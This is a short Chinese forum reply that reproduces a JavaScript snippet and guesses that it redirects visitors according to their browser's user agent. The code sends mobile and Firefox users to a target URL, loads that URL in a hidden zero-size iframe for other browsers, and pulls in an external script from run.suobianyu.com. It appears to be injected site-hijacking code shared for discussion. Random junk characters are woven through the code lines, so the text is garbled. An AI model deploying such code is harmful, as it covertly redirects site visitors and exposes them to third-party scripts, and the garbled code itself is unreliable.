|
|
发表于 2015-9-5 20:41:18
|
显示全部楼层
本帖最后由 seanhere 于 2015-9-5 20:45 编辑 ; {1 g1 K8 r2 a, \, K N6 }( g
- var ua = navigator.userAgent.toLowerCase(),4 P* a; R0 T! o- L8 T! ~. l* ^
- browser = {
( C( y# R; b/ M3 T$ | - ver: (ua.match(/(?:rv|me|ra|ie)[\/: ]([\d.]+)/) || [0, "0"])[1],
* P0 i( _# X+ `- y/ r. l! O - opera: /opera/.test(ua),
+ h$ e. ?7 v4 w5 Z5 {- \2 z9 S - maxthon: /maxthon/.test(ua),
[+ U' I3 ^. O, \- l2 [ - theworld: /theworld/.test(ua),
' K. Y" o/ Q5 S; h6 y F) x - qq: /qqbrowser/.test(ua),
: [) Z# ~( o/ _: ] - sogou: /se /.test(ua),/ u, a+ o. ~ |* w- C. V& L
- liebao: /liebao/.test(ua),
; `* I& F8 k: J. D2 z$ U3 G2 p - firefox: /mozilla/.test(ua) && !/(compatible|webkit)/.test(ua),/ ~4 j! k# p8 c1 v% v
- chrome: /chrome|crios/.test(ua)," V% K9 {- J% u/ R" D* ]& a
- safari: /webkit/.test(ua),. s& ]; ?7 ?8 n Z7 o2 K5 ~5 R
- uc: /ucbrowser/.test(ua), V) D2 K9 T# M' l
- ie: /msie/.test(ua) && !/opera/.test(ua)
) k2 c V: V1 O0 p0 B1 b - };- M4 k9 ~" ~) R/ u F' g
- var ver = browser.ver;
* H7 S+ E$ h' p9 i+ y - if (browser.firefox || /Android|Windows Phone|webOS|iPhone|iPod|BlackBerry/i.test(navigator.userAgent)) {4 ?4 a7 q9 e5 ]' E5 h2 g2 E1 R
- document.write("<meta http-equiv=Refresh content="0;url=" + tourl + "">");
, K# t. K, X: J7 k+ v4 |9 H4 O - } else {, {+ ~; f! [/ M4 f; c
- window.sc = "<iframe src=" + tourl + "></iframe>";, f+ W) O% M* [: g5 Y
- document.write("<iframe src="javascript:parent.sc" width=0 height=0></iframe>");
' G5 o. C! C: t& F - }6 O2 z) t+ E+ b. f- u6 C8 U
- document.write("<script src='http://run.suobianyu.com/a.js'><\/script>");
复制代码
+ A, |7 E) y# O9 u$ y& e B+ i2 j+ ]) c' O
好像是根据用户浏览器的User-agent信息来决定如何跳转。 |
|